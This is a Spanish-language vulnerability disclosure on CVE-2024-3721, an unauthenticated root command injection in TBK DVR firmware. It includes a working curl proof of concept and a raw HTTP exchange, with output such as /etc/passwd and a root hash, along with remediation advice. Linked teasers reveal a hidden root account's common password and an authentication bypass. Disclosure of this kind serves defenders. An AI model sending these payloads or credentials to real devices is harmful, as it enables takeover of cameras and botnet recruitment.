[TBK DVR ] Command injection sin autenticación permite RCE como root - CVE-2024-3721

El protocolo rsp expone un comando obfuscado device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___ (decodifica a streamax) cuyo parámetro mdc se concatena en una llamada a system() sin sanitizar. El filtro de saneamiento bloquea ;, |, & y >, pero no la sustitución de comandos $(...) ni los backticks, por lo que la inyección sigue siendo posible y se ejecuta como root (uid=0).
Este es el mismo defecto que CVE-2024-3721, explotado activamente por el botnet Mirai/Nexcorium contra estos dispositivos.
Componente afectado:
Endpoint / mecanismo:
GET/POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<payload>(handlerstreamaxdel CGI)Stack / versión: firmware
T2017040635_V01(Hi3521a, armv7l, uClibc);system()importado enindex.cgi/librmfs.soPrecondición: ninguna (la cookie
uidse fija arbitrariamente; no exige sesión)
Causa raíz (systemic)
Paso de input del usuario a
system()sin whitelist (solo blacklist de caracteres).Confianza en la cookie
uidsin sesión, lo que hace el sink accesible sin autenticación.
Credenciales / contexto de prueba: acceso remoto no autenticado.
Paso 1 — Confirmar ejecución:

curl -X POST "http://192.168.0.101:85/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=whoami;pwd;id;uname+-a;cat+/etc/passwd" \
-H "Cookie: uid=1"
# root
# /usr/local/bin
# uid=0(root) gid=0(root) groups=0(root)
# Linux vstreaming 3.10.0 #12 Mon Jul 11 20:08:06 CST 2016 armv7l GNU/Linux
# root:$1$$KC4D9eoydwnO3/63RYEP50:0:0::/root:/bin/shPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=ls+-l+/usr/local/www/HAPPLE/pages HTTP/1.1 Host: 192.168.0.101:85 Cookie: uid=qwerty User-Agent: Morzilla/7.0 (911; Pinux x86_128; rv:9743.0) Accept: */* Connection: close Content-Length: 0 HTTP/1.0 200 OK total 236 -rwxrwxr-x 1 1032 1032 9283 Dec 23 2016 IpcAttribute.html drwxrwxr-x 2 1032 1032 296 Feb 15 2017 JS drwxrwxr-x 7 1032 1032 637 Nov 16 2016 LoadPage -rwxrwxr-x 1 1032 1032 7915 Nov 16 2016 NetworkServiceprot.html -rwxrwxr-x 1 1032 1032 3212 Feb 15 2017 Remote.html -rwxrwxr-x 1 1032 1032 3085 Feb 15 2017 RemoteOnline.html -rwxrwxr-x 1 1032 1032 4188 Nov 16 2016 Right_WIFI.html drwxrwxr-x 2 1032 1032 51 Nov 16 2016 Styles -rwxrwxr-x 1 1032 1032 22269 Feb 15 2017 SubStream.html -rwxrwxr-x 1 1032 1032 3834 Nov 16 2016 TimeCapture.html drwxrwxr-x 2 1032 1032 68 Nov 16 2016 WAP drwxrwxr-x 2 1032 1032 1974 Feb 15 2017 images -rwxrwxr-x 1 1032 1032 25233 Dec 13 2016 index.html -rwxrwxr-x 1 1032 1032 6866 Feb 15 2017 left.html -rwxrwxr-x 1 1032 1032 43208 Nov 16 2016 liveView.html -rwxrwxr-x 1 1032 1032 7917 Nov 16 2016 login.html -rwxrwxr-x 1 1032 1032 1193 Nov 16 2016 logincheck.html -rwxrwxr-x 1 1032 1032 26140 Jan 21 2017 playback.html drwxrwxr-x 2 1032 1032 32 Nov 16 2016 proxy -rwxrwxr-x 1 1032 1032 11388 Nov 16 2016 right.html -rwxrwxr-x 1 1032 1032 6916 Nov 16 2016 right_3G.html -rwxrwxr-x 1 1032 1032 6421 Nov 16 2016 right_ADSL.html -rwxrwxr-x 1 1032 1032 7514 Nov 16 2016 right_cms.html drwxrwxr-x 3 1032 1032 74 Dec 20 2016 sysTips -rwxrwxr-x 1 1032 1032 21662 Nov 24 2016 time_DST.html -rwxrwxr-x 1 1032 1032 16992 Nov 16 2016 timeset.html Content-type: text/html; charset=UTF-8 Server: GNU rsp/1.0 Content-Language: en Expires: -1 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Cache-Control: private, max-age=0 Connection: close Date: Sat, 19 Sep 2026 21:48:33 GMT unknown operater:ls -l /usr/local/www/HAPPLE/pages
Compromiso total:
ejecución de comandos como root
exfiltración de vídeo
modificación de firmware/configuración
instalación de backdoors
incorporación a botnets y DoS.
Los operadores deben ponerse en contacto con TBK Vision o el fabricante del equipo original para obtener actualizaciones de firmware. Si no hay ningún parche disponible, considere los dispositivos afectados como obsoletos y planifique su reemplazo con hardware compatible.
Actualizar a la ultima version estable disponible, la cual deberia poder cubrir minimamente:
Eliminar el uso de
system()con datos controlables; usar APIs nativas o whitelist estricta de operadores.Validar
mdccontra una lista cerrada (enum de operadores), nunca como cadena de shell.No exponer el dispositivo a Internet y actualizar firmware si el vendor publica parche.
More from @CapitanAlfa
[TBK DVR] Backdoor: Cuenta root permite acceso de administrador. ( +Contraseña rota ) - CVE-2026-####
El dispositivo incorpora una segunda cuenta de administrador, root , con la contraseña ( mayormente se encuentra la contraseña 199509, pero tambien se puedne identificar otras ) que no aparece en la interfaz web (la lista de usuarios la filtra…
[DVR TBK] bypass de autenticación en DVR (multi vendor ) - CVE-2018-9995
El endpoint device.rsp?opt=user&cmd=list del protocolo rsp devuelve la lista de usuarios con sus contraseñas en texto claro cuando la petición incluye la cookie Cookie: uid=admin , sin requerir una sesión válida . Un atacante remoto no autenticado obtiene…


Comments
0